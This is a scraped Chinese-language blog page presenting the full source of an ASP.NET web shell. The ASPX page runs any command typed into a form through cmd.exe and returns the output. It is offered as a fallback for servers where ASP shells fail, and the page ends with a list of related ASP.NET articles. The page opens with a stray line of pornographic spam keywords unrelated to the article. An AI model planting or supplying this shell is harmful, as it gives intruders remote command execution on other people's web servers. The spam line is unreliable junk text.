欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

一個ASP.Net下的WebShell實例

 更新時間:2013年07月24日 11:13:07   作者:  
一個ASP.Net下的WebShell,主要完成cmd命令。一般的服務器設置,asp.net用戶的權限都比較高。如果asp的webshell無法執(zhí)行,可能asp.net的可以執(zhí)行。
代碼如下:
復制代碼 代碼如下:

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<script runat="server">
protected void exec(object sender, EventArgs e)
{
    string item = cmd.Text;
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardInput = true;
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardError = true;
    p.StartInfo.CreateNoWindow = true;
    string strOutput = null;
    p.Start();
    p.StandardInput.WriteLine(item);
    p.StandardInput.WriteLine("exit");
    strOutput = p.StandardOutput.ReadToEnd();
    p.WaitForExit();
    p.Close();
    Response.Write("<pre>");
    Response.Write(strOutput);
    Response.Write("</pre>");
}
    protected void Page_Load(object sender, EventArgs e)
    {
    }
</script>
<form id="form1" runat="server">
<asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
</form>

相關文章

  • Entity Framework Core對Web項目生成數據庫表

    Entity Framework Core對Web項目生成數據庫表

    這篇文章介紹了Entity Framework Core對Web項目生成數據庫表的方法,文中通過示例代碼介紹的非常詳細。對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2022-03-03
  • GridView分頁的實現(通用分頁模板)

    GridView分頁的實現(通用分頁模板)

    要在GridView中加入AllowPaging=true,一頁數據多少行PageSize=10分頁時觸發(fā)的事件OnPageIndexChanging等等,感興趣的朋友可以了解下本文,希望對你有所幫助
    2013-04-04
  • ASP.NET Core使用GraphQL第一章之Hello World

    ASP.NET Core使用GraphQL第一章之Hello World

    這篇文章主要給大家介紹了關于ASP.NET Core使用GraphQL第一章之Hello World的相關資料,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2018-11-11
  • asp.net gridview中用checkbox全選的幾種實現的區(qū)別

    asp.net gridview中用checkbox全選的幾種實現的區(qū)別

    這幾天為了改變客戶端grid的全選效率問題,詳細研究了ext中grid的全選和gridview中通過腳本實現的全選效率,總結一下,供大家參考,有錯誤的地方,希望大俠指正,小弟獻丑了。
    2009-06-06
  • vs.net 2010 擴展插件小結 提高編程效率

    vs.net 2010 擴展插件小結 提高編程效率

    本文價紹了幾款Visual Studio提供的插件,提高我們的編程效率。
    2011-03-03
  • 如何使用ASP.NET創(chuàng)建網站并設計web頁面

    如何使用ASP.NET創(chuàng)建網站并設計web頁面

    這篇文章主要介紹了如何使用ASP.NET創(chuàng)建網站,幫助大家更好的理解和學習使用ASP.NET技術,感興趣的朋友可以了解下
    2021-04-04
  • mysql安裝后.net程序運行出錯的解決方法

    mysql安裝后.net程序運行出錯的解決方法

    這篇文章主要給大家介紹了關于mysql安裝后.net程序運行出錯的解決方法,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧。
    2018-02-02
  • ASP.NET.4.5.1+MVC5.0設置系統(tǒng)角色與權限(二)

    ASP.NET.4.5.1+MVC5.0設置系統(tǒng)角色與權限(二)

    這篇文章主要介紹了使用ASP.NET.4.5.1+MVC5.0構建項目中設置系統(tǒng)角色的全部過程,十分的詳細,附上全部源碼,推薦給想學習.net+mvc的小伙伴們
    2015-01-01
  • ASP.NET 2.0 URL映射技巧

    ASP.NET 2.0 URL映射技巧

    ASP.NET 2.0 URL映射技巧...
    2007-01-01
  • asp.net Reporting Service在Web Application中的應用

    asp.net Reporting Service在Web Application中的應用

    由于我們這個項目中使用微軟的報表服務(Reporting Services)作為報表輸出工具,本人也對它進行一點點研究,雖沒有入木三分,但這點知識至少可以在大部分Reporting Service的場景中應用。
    2008-11-11

最新評論